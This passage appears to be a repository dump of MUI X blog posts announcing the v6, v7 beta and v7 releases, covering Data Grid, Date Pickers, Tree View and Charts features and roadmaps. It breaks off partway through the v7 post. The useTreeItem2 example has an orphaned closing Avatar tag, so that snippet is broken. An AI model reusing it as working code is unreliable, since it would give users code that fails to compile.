bugs.\n\n<a href=\"/x/react-data-grid/row-pinning/\">\n<img src=\"/static/blog/mui-x-v6/row-pinning.png\" style=\"width: 655px\" loading=\"lazy\" alt=\"Column menu custom action\" width=\"1310\" height=\"828\" />\n</a>\n\n### Aggregation is now stable <a title=\"Premium plan\" href=\"/x/introduction/licensing/#premium-plan\"><span class=\"plan-premim\"></span></a>\n\n[Aggregation](/x/react-data-grid/aggregation/) was previously released in a minor v5 version under the `experimentalFeatures={{ aggregation: true }}` flag.\nThe API is now stable, thanks to the community for trying it out and reporting bugs.\n\n<a href=\"/x/react-data-grid/aggregation/\">\n<img src=\"/static/blog/mui-x-v6/aggregation.png\" style=\"width: 474px\" loading=\"lazy\" alt=\"Column menu custom action\" width=\"948\" height=\"964\" />\n</a>\n\n<p class=\"blog-description\">The footer of the second column is a sum all its cells.</p>\n\n### Cell selection <a title=\"Premium plan\" href=\"/x/introduction/licensing/#premium-plan\"><span class=\"plan-premim\"></span></a>\n\n[Cell selection](/x/react-data-grid/cell-selection/) is a powerful and flexible way to select data in the Data Grid.\nIt allows end-users to select a cell or group of cells like in an Excel sheet.\n\n<a href=\"/x/react-data-grid/cell-selection/\">\n<video autoplay muted loop playsinline width=\"1660\" height=\"918\">\n  <source src=\"/static/blog/mui-x-v6/cell-selection.mp4\" type=\"video/mp4\" />\n</video>\n</a>\n\n<p class=\"blog-description\">A demo of the cell selection.</p>\n\nThis feature will serve as the base for clipboard importing / bulk editing ([coming soon](https://github.com/mui/mui-x/issues/199)).\nThe API is unstable in this first release but you can enable it with:\n\n```jsx\n<DataGridPremium unstable_cellSelection />\n```\n\n### Use web workers to export data to excel files <a title=\"Premium plan\" href=\"/x/introduction/licensing/#premium-plan\"><span class=\"plan-premim\"></span></a>\n\nBy default, the Excel file export is generated in the main thread. This can freeze the UI when exporting large datasets.\n\nYou can now [use a web worker](/x/react-data-grid/export/#using-a-web-worker) in the background to allow interactions with the grid while the data is exported.\n\n## Date and Time Pickers - features highlights ✨\n\n### Fields: the new default \\<input\\> for Pickers\n\n#### Legacy mask input\n\nIn MUI X v5, the `<input>` behavior of the pickers components were implemented with a [mask approach](https://www.npmjs.com/package/rifm).\nThis had many UX downsides. for example, watch what happens when we edit the day on this masked input, you lose the year:\n\n<a href=\"https://v5.mui.com/x/react-date-pickers/date-picker/#basic-usage\">\n<video style=\"width: 399px;\" autoplay muted loop playsinline width=\"1268\" height=\"540\">\n  <source src=\"/static/blog/mui-x-v6/mask.mp4\" type=\"video/mp4\" />\n</video>\n</a>\n\n<p class=\"blog-description\">A demo of the date pickers on <a href=\"https://v5.mui.com/x/react-date-pickers/date-picker/#basic-usage\">MUI X v5</a>.</p>\n\n#### New \"Fields\"\n\nThis mask logic is now gone. [\"Fields\"](/x/react-date-pickers/fields/) implement the new rich text fields that solve the mask input limitations.\nThey are specialized for date and time logic and offer quick navigation and isolated interaction within each section of a date value.\nSee it in action:\n\n<a href=\"/x/react-date-pickers/fields/\">\n<video style=\"width: 608px;\" autoplay muted loop playsinline width=\"1216\" height=\"310\">\n  <source src=\"/static/blog/v6-beta-pickers/date-field-navigation.mp4\" type=\"video/mp4\" />\n</video>\n</a>\n\nThis design is heavily inspired by the [native date picker](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/date) UIs provided by platforms like macOS and Windows on the web.\n\n### Birthday picker\n\nUp until MUI X v5, we were recommending the use of 3 separate inputs to implement a birthday picker, and especially not the use of a `<DatePicker>`; see this article for why [Designing Birthday Picker UX: Simpler Is Better](https://www.smashingmagazine.com/2021/05/frustrating-design-patterns-birthday-picker/).\n\nBirthday pickers can now have a great UX thanks to the Fields.\nThey behave almost like 3 separate inputs and support full letter month which can be used so end-users don't confuse day and month.\n\n<a href=\"https://mui.com/x/react-date-pickers/date-field/#customize-the-date-format\">\n<img src=\"/static/blog/mui-x-v6/birthday.png\" style=\"width: 446px\" loading=\"lazy\" alt=\"Column menu custom action\" width=\"892\" height=\"182\" />\n</a>\n\n### Standalone\n\nThe Fields are included in all the pickers, but they're also available as standalone improved version of a `<TextField>`:\n\n```jsx\nimport { DateField } from '@mui/x-date-pickers/DateField';\n\n<DateField label=\"My first field\" />;\n```\n\n### Improved layout customization\n\nCombining the slots concept with the grid layout, you can now rearrange, extend, and customize most of the subcomponents used in the Pickers UI.\nSee [the documentation about it](/x/react-date-pickers/custom-layout/) and this quick overview:\n\n```tsx\nfunction MyCustomLayout(props) {\n  const { toolbar, tabs, content, actionBar } = usePickerLayout(props);\n\n  return (\n    <PickersLayoutRoot className={pickersLayout.root} ownerState={props}>\n      {toolbar}\n      {actionBar}\n      <PickersLayoutContentWrapper className={pickersLayout.contentWrapper}>\n        {tabs}\n        {content}\n      </PickersLayoutContentWrapper>\n    </PickersLayoutRoot>\n  );\n}\n\nexport default function CustomStaticDatePicker() {\n  return <StaticDatePicker slots={{ layout: MyCustomLayout }} />;\n}\n```\n\n### Overhaul in the documentation\n\n[The Date and Time Pickers documentation](/x/react-date-pickers/) has drastically improved during pre-release, and it now features a more comprehensible navigation structure and many new examples.\n\n### Removed clock view on desktop Time Pickers\n\nMany end-users complained, and we completely agree, the [clock view](/x/react-date-pickers/time-clock/) is not the ideal time-picking experience on Desktop, so we removed it as a default view.\n\n<img src=\"/static/blog/mui-x-v6/clock.png\" loading=\"lazy\" alt=\"Date Range shortcuts.\" width=\"518\" height=\"496\" style=\"width: 259px;\" />\n\n<p class=\"blog-description\">The clock picker, still present on mobile.</p>\n\nYou can still use the Clock if you like to, but [a replacement UI](https://github.com/mui/mui-x/issues/4483) for the time picker is coming shortly after this release.\n\n### Shortcuts for picking specific dates in a calendar [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nYou can now [add quick and customizable shortcuts](/x/react-date-pickers/shortcuts/) for your end-users.\nWhile shortcuts are an MIT licensed, it's particularly useful for date range pickers.\nYou can display them on the left, right, bottom, or top.\n\n<a href=\"/x/react-date-pickers/shortcuts/\">\n<img src=\"/static/blog/v6-beta-pickers/date-range-shortcuts.png\" loading=\"lazy\" alt=\"Date Range shortcuts.\" width=\"2222\" height=\"1402\" />\n</a>\n\n<p class=\"blog-description\">A demo of a Pro plan date range picker with shortcuts on the left.</p>\n\n### Edit date ranges with drag and drop [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n[Editing a date range](/x/react-date-pickers/date-range-calendar/) is even easier now with the new drag-and-drop interaction.\nEnd-users can more easily change the start and end dates.\n\n<a href=\"/x/react-date-pickers/date-range-calendar/\">\n<video autoplay muted loop playsinline width=\"1488\" height=\"796\">\n  <source src=\"/static/blog/v6-beta-pickers/edit-drag.mp4\" type=\"video/mp4\" />\n</video>\n</a>\n\n## Installation and migration\n\nIf this is your first time using MUI X, you can jump in the getting started section:\n\n- [Data Grid](/x/react-data-grid/)\n- [Date Pickers](/x/react-date-pickers/)\n\nIf you're coming from previous versions, we recommend you check our migration guide from MUI X v5 with the complete list of breaking changes:\n\n- [Data Grid](/x/migration/migration-data-grid-v5/)\n- [Date Pickers](/x/migration/migration-pickers-v5/)\n\nWe also provide codemods to automate some of the necessary updates in your codebase.\n\n```bash\nnpx @mui/x-codemod@latest v6.0.0/preset-safe <path>\n```\n\n## What's next?\n\nWe operate in a continuous-delivery environment, so the plan is to keep rolling out new features in minor versions.\n\nWith the new base established in v6.0.0, we'll continue our efforts to improve UI/UX, bring more customization abilities, and support new use cases.\n\nHere's a list of what you can expect to be delivered in the following months (what is next on our immediate roadmap).\n\n### Data Grid\n\n- Clipboard importing ([mui-x#199](https://github.com/mui/mui-x/issues/199))\n- Filtering on header ([mui-x#6247](https://github.com/mui/mui-x/issues/6247))\n- Row spanning ([mui-x#207](https://github.com/mui/mui-x/issues/207))\n- Improved column management panel (column visibility, reordering, grouping, pinning, etc.) ([mui-x#5700](https://github.com/mui/mui-x/issues/5700))\n- Improved filter panel ([mui-x#6419](https://github.com/mui/mui-x/issues/6419))\n- Support for Joy UI\n\n### Date Pickers\n\n- Time Picker replacement for the clock on desktop ([mui-x#4483](https://github.com/mui/mui-x/issues/4483))\n- Time Range Picker ([mui-x#4460](https://github.com/mui/mui-x/issues/4460))\n- Date Time Range Picker ([mui-x#4547](https://github.com/mui/mui-x/issues/4547))\n- Ability to select a month range in the Date Range Picker ([mui-x#4995](https://github.com/mui/mui-x/issues/4995))\n- Support for Joy UI\n\n### Charts 📊\n\n- Preview of chart components 🔥 ([mui-x#1408](https://github.com/mui/mui-x/issues/1408))\n\nYou can get more details of our next steps in [MUI X public roadmap](https://github.com/orgs/mui/projects/35).\n\n## Decoupling versions from MUI Core\n\nWe have decoupled MUI X's versioning from MUI Core (including `@mui/material`: Material UI). We understand that this may cause confusion, so we'd like to explain the main reasons why we're moving in this direction:\n\n1. Soften migration pains with a yearly release cycle.\\\n   The MUI X codebase is dynamic, and the constant development of new features often requires a faster breaking changes pace than MUI Core. With a yearly release, we aim to deliver those in smaller, more digestible sizes, in a time window that you can rely on to make your plans and prepare for updates.\n\n2. We aim to support not only Material UI but also Joy UI and, in the future, Base UI.\n\n## Feedback\n\nWe appreciate all of your feedback throughout the development of this new version. It's been vital for our process and always will be, so please continue to share your thoughts as we work through our next steps.\n\nWe're continuously doing user interviews, so if you'd like to share your pain points and use cases, please [leave your contact](https://forms.gle/vsBv6CLPz9h57xg8A) info.\nAs usual, you're welcome to join the discussion by requesting or commenting on new features, or reporting bugs in our [GitHub repository](https://github.com/mui/mui-x/issues/new/choose).\n\nCheers!\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v7-beta.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-v7-beta.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v7-beta.md",
    "content": "---\ntitle: MUI X v7 is now in beta\ndescription: Check out what's new and what's next for v7 stable.\ndate: 2024-01-29T00:00:00.000Z\nauthors: ['josefreitas']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\n<div style=\"max-width: 692px; width: 100%; height: 100%; overflow: hidden;\">\n  <a href=\"https://github.com/mui/mui-x/releases/tag/v7.0.0-beta.0\">\n    <img src=\"/static/blog/mui-x-v7-beta/intro.jpg\" alt=\"MUI X v7 beta release\" width=\"2400\" height=\"800\" style=\"width: 100%; height: 100%; object-fit: cover; object-position: center;\" />\n  </a>\n</div>\n\nIt's the end of January, and we're ready to start rolling out some of the plans for 2024!\nWe have new components, exciting features, and a lot of improvements for both developers and end-users.\n\nStarting [now](https://github.com/mui/mui-x/releases/tag/v7.0.0-beta.0), MUI X v7 is in beta.\nMost breaking changes are in place, and we shift our focus towards refining and expanding over the new version.\n\n## Table of contents\n\n- [Data Grid](#data-grid)\n  - [Sticky headers](#sticky-headers)\n  - [Improved columns panel design](#improved-columns-panel-design)\n  - [Date Object support in filter model](#date-object-support-in-filter-model)\n  - [New stable features](#new-stable-features)\n  - [Smaller bundle size](#smaller-bundle-size)\n- [Tree View](#tree-view)\n  - [RichTreeView](#richtreeview)\n- [Charts](#charts)\n  - [Reference Line](#reference-line)\n- [Date Pickers](#date-and-time-pickers)\n  - [Support for date-fns v3](#support-for-date-fns-v3)\n  - [Date Time Range Picker](#date-time-range-picker)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [What's next](#whats-next)\n- [Migration guide](#migration-guide)\n- [How to get involved](#how-to-get-involved)\n\n## Data Grid\n\nWe have introduced critical breaking changes designed not only to enhance the developer experience but also to bring the user experience to a new level.\n\n### Sticky headers\n\nThe column headers and pinning implementations have been refactored for an improved user experience.\nYou'll notice a more responsive Data Grid with smoother horizontal scrolling and better screen reader support.\nThe video below showcases some of these improvements.\n\n<video autoplay muted loop playsinline width=\"690\" height=\"417\" controls>\n  <source src=\"/static/blog/mui-x-v7-beta/sticky-headers.mp4\" type=\"video/mp4\">\n</video>\n\n:::warning\nThe new horizontal scroll experience is far better, but the solution has a limitation: **column headers can no longer be transparent** because content scrolls behind them.\n\nIf you're using our theming system, the Data Grid will adapt to your application seamlessly.\n\nWithout the theming system, you may need to manually set an appropriate background color to maintain your design.\n:::\n\n### Improved columns panel design\n\nThe column management panel now features a sleeker, checkbox-based design, replacing the previous toggle button style. Additionally, we've extracted the internal component to facilitate the introduction of the upcoming pivoting UI.\n\n<figure>\n  <img style=\"width: 303px;\" width=\"606\" height=\"900\" alt=\"The new column management panel design\" src=\"/static/blog/mui-x-v7-beta/column-management-panel.png\" loading=\"lazy\">\n  <figcaption>The new column management panel design</figcaption>\n</figure>\n\n### Date Object support in filter model\n\nThe `filterModel` now supports `Date` objects for `date` and `dateTime` column types, providing a more intuitive and efficient filtering experience.\n\nWhile string values remain compatible for these types, any updates to the `filterModel` made through the UI (such as via the filter panel) will now automatically use `Date` objects, ensuring consistency and ease of data handling.\n\n### Smaller bundle size\n\nThe introduction of a separate entry point for locales has significantly reduced the bundle size of the barrel index when tree-shaking isn't operational (for example webpack in dev mode).\n\nFor example with the `@mui/x-data-grid` npm package, this change led to a reduction of approximately 22% – shrinking the bundle size from [114.2kB](https://bundlephobia.com/package/@mui/x-data-grid@6.19.2) to [88.5kB](https://bundlephobia.com/package/@mui/x-data-grid@7.0.0-beta.0).\n\n<figure>\n  <img style=\"width: 550px\" width=\"1101\" height=\"869\" alt=\"A chart showcasing the bundle size change\" src=\"/static/blog/mui-x-v7-beta/new-bundle-size.png\" loading=\"lazy\">\n  <figcaption>A chart showcasing the Data Grid's bundle size change.</figcaption>\n</figure>\n\n### New stable features\n\nDuring major version updates, MUI X introduces new features under the `experimentalFeatures` flag or using the `unstable_` prefix.\nThis approach serves as a failsafe in case there's a need to change the API based on user feedback.\n\nWe're excited to announce that the following features have been promoted to stable:\n\n- [Column groups](https://next.mui.com/x/react-data-grid/column-groups/)\n- [Header filters](https://next.mui.com/x/react-data-grid/filtering/header-filters/) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Cell selection](https://next.mui.com/x/react-data-grid/cell-selection/) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n- [Clipboard paste](https://next.mui.com/x/react-data-grid/clipboard/#clipboard-paste) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\n## Tree View\n\nFollowing the promotion of the component from the labs to MUI X, our primary focus has been on improving its developer experience.\nThis includes efforts to clarify documentation and improve key examples, making them more informative and user-friendly.\n\nA particularly significant initiative is the time-saving alternative to the traditional JSX architecture, the RichTreeView.\n\n### RichTreeView\n\nWe've split the Tree View into two distinct components.\n\nThe first is the `SimpleTreeView`, which retains the classic and familiar JSX approach and is still the one behind the original `<TreeView />` tag.\n\nThe second is the `RichTreeView`, a new variant designed to streamline the development process, and with which we aim to support several common use cases out-of-the-box.\n\nSimilar to the Data Grid, it requires only a dataset and possibly a few properties to render; it does all the heavy lifting for you, handling most of the complexities internally.\n\n```jsx\nconst myDataSet = [\n  {\n    id: 'node-1',\n    label: 'Node 1',\n    children: [\n      { id: 'node-1-1', label: 'Node 1.1' },\n      { id: 'node-1-2', label: 'Node 1.2' },\n    ],\n  },\n  {\n    id: 'node-2',\n    label: 'Node 2',\n  },\n];\n```\n\n```jsx\n<RichTreeView items={myDataSet} multiSelect />\n```\n\nCheck out the [new component](https://next.mui.com/x/react-tree-view/rich-tree-view/items/)!\n\n## Charts\n\nSince the initial stable release of MUI X Charts a few months ago, we have been diligently listening to your feedback and focusing on refining the foundational charts to ensure they effectively cater to your diverse use cases.\nThis includes bug fixes, documentation improvements, and support for more complex scenarios.\n\n### Reference line\n\nThe `ChartsReferenceLine` component enhances data visualization, providing users with a clear reference to better understand and analyze key data points.\n\n<figure>\n  <img alt=\"A chart with a reference line\" src=\"/static/blog/mui-x-v7-beta/charts-reference-line.png\" width=\"1290\" height=\"822\" loading=\"lazy\" />\n  <figcaption>A line chart using a reference line.</figcaption>\n</figure>\n\nYou can find more details on its [documentation](https://next.mui.com/x/react-charts/axis/#reference-line).\n\n## Date and Time Pickers\n\nThe focus has been mostly on developing the highly anticipated new components, DateTimeRangePicker and TimeRangePicker, alongside a significant effort to enhance accessibility in the fields, ensuring that our components are as inclusive and user-friendly as possible.\n\nWhile our journey towards these new additions continues, our commitment to improving existing features remains a top priority.\nAccordingly, we consistently update existing components to align seamlessly with the latest versions of supported date libraries.\n\n### Date Time Range Picker [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nSupport new use cases with this most anticipated component.\nThe latest addition to the Date and Time Pickers suite is the `<DateTimeRangePicker />`, a component designed to enrich the user experience with advanced date and time selection.\nThis intuitive picker simplifies the process of selecting date and time ranges, making it ideal for applications that require detailed scheduling or period selection.\n\n<video autoplay muted loop playsinline width=\"600\" height=\"510\">\n  <source src=\"/static/blog/mui-x-v7-beta/date-time-range-picker.mp4\" type=\"video/mp4\">\n</video>\n\nLearn how to use and customize the [new component](https://next.mui.com/x/react-date-pickers/date-time-range-picker/) now!\n\n### Support for date-fns v3\n\nThe Date and Time Pickers now support both versions of v2 and v3 of date-fns and you can select your desired version from one of the two import lines:\n\n```jsx\n// date-fns v2.x\nimport { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFns';\n```\n\n```jsx\n// date-fns v3.x\nimport { AdapterDateFns } from '@mui/x-date-pickers/AdapterDateFnsV3';\n```\n\n## What's next\n\nAs we approach the stable release of v7, our roadmap is well-defined, focusing on delivering key enhancements and features either just before or within a couple of weeks following the stable version's launch.\n\n### Data Grid\n\n- [Improved Server-side integration](https://next.mui.com/x/react-data-grid/server-side-data/)\n- [Column management panel with support for pivoting](https://github.com/mui/mui-x/issues/5700)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Pivoting](https://github.com/mui/mui-x/issues/214) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\n### Tree View\n\n- [Checkbox selection for Simple- and RichTreeView](https://github.com/mui/mui-x/issues/214)\n- [Drag and drop support for RichTreeView](https://github.com/mui/mui-x/issues/9686)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\n### Charts\n\n- [Click events handling](https://github.com/mui/mui-x/issues/10005)\n\n### Date and Time Pickers\n\n- [TimeRangePicker](https://github.com/mui/mui-x/issues/4460)\n- Field with improved accessibility\n\n## Migration guide\n\nWe fully understand that updating a dependency library can sometimes be daunting.\nTo smooth the transition to the new version, we have documented all breaking changes in our migration guides:\n\n- [Data Grid](https://next.mui.com/x/migration/migration-data-grid-v6/)\n- [Date and Time Pickers](https://next.mui.com/x/migration/migration-pickers-v6/)\n- [Charts](https://next.mui.com/x/migration/migration-charts-v6/)\n- [Tree View](https://next.mui.com/x/migration/migration-tree-view-v6/)\n\nThese component-specific guides are reference pages designed to assist you if you encounter any challenges while updating to the new major version.\nIt's our way of making the upgrade process more manageable and less burdensome for you.\nHowever, should you need further assistance, please don't hesitate to contact us and send your feedback.\n\n## How to get involved\n\nYour feedback has been invaluable in developing MUI X, and we're always happy to hear from you. Please consider sharing your experiences and pain points by:\n\n- [Giving us a user interview](https://forms.gle/vsBv6CLPz9h57xg8A).\n- Reporting bugs and suggesting features on our [GitHub repository](https://github.com/mui/mui-x/issues/new/choose).\n\nWe look forward to your input!\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v7.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-v7.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-v7.md",
    "content": "---\ntitle: Introducing MUI X v7\ndescription: Check out all the newest additions to the next major of the advanced components.\ndate: 2024-03-22T08:00:00.000Z\nauthors: ['josefreitas']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\n<div style=\"max-width: 692px; width: 100%; height: 230px; overflow: hidden; margin-bottom: 16px;\">\n  <a href=\"https://github.com/mui/mui-x/releases/tag/v7.0.0\">\n    <img src=\"/static/blog/mui-x-v7/intro.jpg\" alt=\"MUI X v7 - major stable release\" width=\"2400\" height=\"800\" style=\"width: 100%; height: 100%; object-fit: cover; object-position: center;\" />\n  </a>\n</div>\n\nAfter a few months in pre-release, we're thrilled to announce the stable release of [MUI X v7.0.0](https://github.com/mui/mui-x/releases/tag/v7.0.0), packed with new components, exciting features, improved usability, and developer experience.\n\n## Table of contents\n\n- [Data Grid](#data-grid)\n  - [Column resizing on the Community plan](#column-resizing-on-the-community-plan)\n  - [Sticky headers and improved scrolling performance](#sticky-headers-and-improved-scrolling-performance)\n  - [Improved columns panel design](#improved-columns-panel-design)\n  - [Date Object support in filter model](#date-object-support-in-filter-model)\n  - [Smaller bundle size](#smaller-bundle-size)\n  - [New stable features](#new-stable-features)\n- [Tree View](#tree-view)\n  - [Rich Tree View](#rich-tree-view)\n  - [New customization hook: `useTreeItem2`](#new-customization-hook-usetreeitem2)\n- [Charts](#charts)\n  - [Gauge charts](#gauge-charts)\n  - [Click event handler](#click-event-handler)\n  - [Built-in Grid](#built-in-grid)\n  - [Reference Line](#reference-line)\n- [Date and Time Pickers](#date-and-time-pickers)\n  - [Improved accessibility for the field components](#improved-accessibility-for-the-field-components)\n  - [Support for date-fns v3](#support-for-date-fns-v3)\n  - [Date Time Range Picker](#date-time-range-picker)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [What's next](#whats-next)\n- [Long-term support](#long-term-support)\n- [Migration guide](#migration-guide)\n- [How to get involved](#how-to-get-involved)\n\n## Data Grid\n\n### Column resizing on the Community plan\n\nAs MUI X commercial offerings continue to expand, we're pleased to enhance the [Community plan](/pricing/) by integrating features previously exclusive to commercial users.\n\n[Column resizing](/x/react-data-grid/column-dimensions/#resizing) and [auto-sizing](/x/react-data-grid/column-dimensions/#autosizing), which were previously Pro features, are now available to all the users at no cost.\nThis transition reflects our commitment to providing an exceptional user experience across the board, and aims to make the free components stand out more in the open-source space.\n\n### Sticky headers and improved scrolling performance\n\nThe Data Grid now offers a more responsive experience with smoother scrolling and enhanced screen reader support, thanks to a refactor of the column headers and pinning implementations.\n\nOn its first announcement, some of these improvements were showcased, but during the beta phase, the scrolling performance was further polished for an even better user experience.\n\n<figure>\n  <video autoplay muted loop playsinline width=\"690\" height=\"417\" controls>\n    <source src=\"/static/blog/mui-x-v7/sticky-headers-and-vertical-scrolling.mp4\" type=\"video/mp4\">\n  </video>\n  <figcaption>A before and after showcase, first with horizontal and then with vertical scrolling.</figcaption>\n</figure>\n\n:::warning\nThe scrolling experience is far better, but the solution has a downside: **column headers can no longer be transparent** because content scrolls behind them.\n\nIf you're using Material UI's theming system, the Data Grid will adapt to your application seamlessly.\n\nWithout it, you may need to manually set an appropriate background color to maintain your design.\n:::\n\n:::success\nOur teammate [Romain](https://github.com/romgrk) details various performance optimization techniques in his blog post [Optimizing JavaScript](https://romgrk.com/posts/optimizing-javascript/).\n:::\n\n### Improved columns panel design\n\nAs part of an overarching project aimed at enhancing usability in managing columns within the Data Grid, we've redesigned the column visibility panel, introducing a more streamlined, checkbox-based interface to replace the previous toggle switch design.\n\nThe goal is to further enhance this panel by incorporating additional column management functions, such as column reordering and pinning. Additionally, the internal component has been extracted to ease the introduction of the upcoming pivoting UI.\n\n<figure>\n  <img style=\"width: 303px;\" width=\"606\" height=\"900\" alt=\"The new column management panel design\" src=\"/static/blog/mui-x-v7/column-management-panel.png\" loading=\"lazy\">\n  <figcaption>The new column management panel design</figcaption>\n</figure>\n\n### Date Object support in filter model\n\nThe `filterModel` now supports `Date` objects for `date` and `dateTime` column types, providing a more intuitive and efficient filtering experience.\n\nWhile string values remain compatible for these types, any updates to the `filterModel` made through the UI (such as via the filter panel) will automatically use `Date` objects, ensuring consistency and ease of data handling.\n\n### Smaller bundle size\n\nIntroducing a separate entry point for locales has significantly reduced the bundle size of the barrel index when tree-shaking isn't operational (for example, webpack in dev mode).\n\nAs a reference, with the `@mui/x-data-grid` npm package, this change led to a reduction of approximately 19% – shrinking the bundle size from [114.2kB](https://bundlephobia.com/package/@mui/x-data-grid@6.19.2) to [92.9kB](https://bundlephobia.com/package/@mui/x-data-grid@7.0.0).\n\n<figure>\n  <img style=\"width: 550px\" width=\"1101\" height=\"869\" alt=\"A chart showcasing the bundle size change\" src=\"/static/blog/mui-x-v7/new-bundle-size.png\" loading=\"lazy\">\n  <figcaption>A chart showcasing the Data Grid's bundle size change.</figcaption>\n</figure>\n\n### New stable features\n\nTo ensure that new features can be introduced throughout the lifecycle of a major stable version without waiting for pre-releases, MUI X releases them marked as `experimentalFeatures` or with the `unstable_` prefix.\n\n:::info\nThis approach serves as a failsafe in case the API needs to be changed based on user feedback.\nBut it's important to note that new features are released **production-ready** regarding behavior and functionality.\nThe term 'unstable' refers solely to the potential for breaking changes in minor releases rather than the quality or performance of the features themselves.\n:::\n\nWe're excited to announce that the following features have been promoted to stable:\n\n- [Column groups](/x/react-data-grid/column-groups/)\n- [Lazy loading](/x/react-data-grid/row-updates/#lazy-loading) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Header filters](/x/react-data-grid/filtering/header-filters/) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Cell selection](/x/react-data-grid/cell-selection/) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n- [Clipboard paste](/x/react-data-grid/clipboard/#clipboard-paste) [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\n## Tree View\n\nSince the promotion from the [lab's package](/material-ui/about-the-lab/) to MUI X, the primary focus has been on improving the component's developer experience.\nThis includes efforts aimed to simplify its usage, implement new customization APIs, and provide clearer documentation and illustrative examples, making them more informative and user-friendly.\n\nA significant addition is the time-saving alternative to the traditional JSX architecture, the Rich Tree View.\n\n### Rich Tree View\n\nThe Tree View was split into two distinct components.\n\nThe first is the [Simple Tree View](/x/react-tree-view/quickstart/#simple-tree-view), which retains the classic and familiar JSX approach and is still the one behind the original Tree View.\n\nThe second is the [Rich Tree View](/x/react-tree-view/quickstart/#rich-tree-view), a new component designed to streamline the development process, and with which we aim to support several common use cases out of the box.\n\nSimilar to the Data Grid, it only requires a dataset and possibly a few properties to render; it does all the heavy lifting for you, handling most of the complexities internally.\n\n```jsx\nconst myDataSet = [\n  {\n    id: 'node-1',\n    label: 'Node 1',\n    children: [\n      { id: 'node-1-1', label: 'Node 1.1' },\n      { id: 'node-1-2', label: 'Node 1.2' },\n    ],\n  },\n  {\n    id: 'node-2',\n    label: 'Node 2',\n  },\n];\n```\n\n```jsx\n<RichTreeView items={myDataSet} multiSelect />\n```\n\nCheck out the [new component](/x/react-tree-view/rich-tree-view/items/)!\n\n### New customization hook: `useTreeItem2`\n\nThe Tree View now features a new API that enables fully customization of Tree items through a hook called `useTreeItem2`.\nIt can be used with both Simple Tree View and Rich Tree View, and empowers developers to fully leverage the Tree Item's subcomponents along with their default behaviors.\nThis approach ensures customization and flexibility are at the forefront without sacrificing the component's inherent features.\n\nWhen using this hook, you can create a tailored Tree Item that aligns perfectly with your project needs while reusing key behaviors and features the component is known for.\n\n```jsx\nconst CustomTreeItem = React.forwardRef(function CustomTreeItem(\n  props: TreeItem2Props,\n  ref: React.Ref<HTMLLIElement>,\n) {\n  const { id, nodeId, label, disabled, children, ...other } = props;\n\n  const {\n    getRootProps,\n    getContentProps,\n    getIconContainerProps,\n    getLabelProps,\n    getGroupTransitionProps,\n    status,\n  } = useTreeItem2({ id, nodeId, children, label, disabled, rootRef: ref });\n\n  // Compose and implement your tree item as you need\n  return (\n    <TreeItem2Provider nodeId={nodeId}>\n      <TreeItem2Root {...getRootProps(other)}>\n        <TreeItemContent {...getContentProps()}>\n          <TreeItem2IconContainer {...getIconContainerProps()}>\n            <TreeItem2Icon status={status} />\n          </TreeItem2IconContainer>\n          <Box sx={{ flexGrow: 1, display: 'flex', gap: 1 }}>\n              {(label as string)[0]}\n            </Avatar>\n            <TreeItem2Label {...getLabelProps()} />\n          </Box>\n        </TreeItemContent>\n        {children && <TreeItem2GroupTransition {...getGroupTransitionProps()} />}\n      </TreeItem2Root>\n    </TreeItem2Provider>\n  );\n});\n```\n\n```jsx\n<RichTreeView items={myDataSet} slots={{ item: CustomTreeItem }} />\n```\n\nYou can check all the details of the given example on the [Rich Tree View customization page](/x/react-tree-view/rich-tree-view/customization/#headless-api).\n\n:::info\nTo avoid further breaking changes with the subcomponents names, this new customization API was named with a numerical suffix '2', for example, `TreeItem2` and `TreeItem2Content`.\n\nThis update ensures that any existing customizations remain unaffected, providing you with a seamless transition to adopt the latest API at your convenience.\n\nOur plan is to move the new implementation to the Tree Item component on the next major release and remove all those suffixes.\n:::\n\n## Charts\n\nSince [launching MUI X Charts](/blog/mui-x-mid-v6-features/#charts-alpha-version), we've been closely listening to your feedback, and our focus has been on refining these foundational elements through bug fixes, enriched documentation, and increasing support for more complex scenarios.\n\nThe charts portfolio has also expanded with one of the most commonly used data visualization components for dashboards.\n\n### Gauge charts\n\nThe newest gauge charts are designed to offer a visually compelling way to display data metrics within a circular gauge.\n\nThese charts are particularly useful for showing progress toward a goal or displaying a value within a predefined range.\nWith customizable options for pointers, sizes, and colors, they allow for a personalized visual representation that makes it easy for users to interpret data at a glance.\n\n<figure>\n  <img alt=\"Gauge charts\" src=\"/static/blog/mui-x-v7/gauge-charts.png\" width=\"2400\" 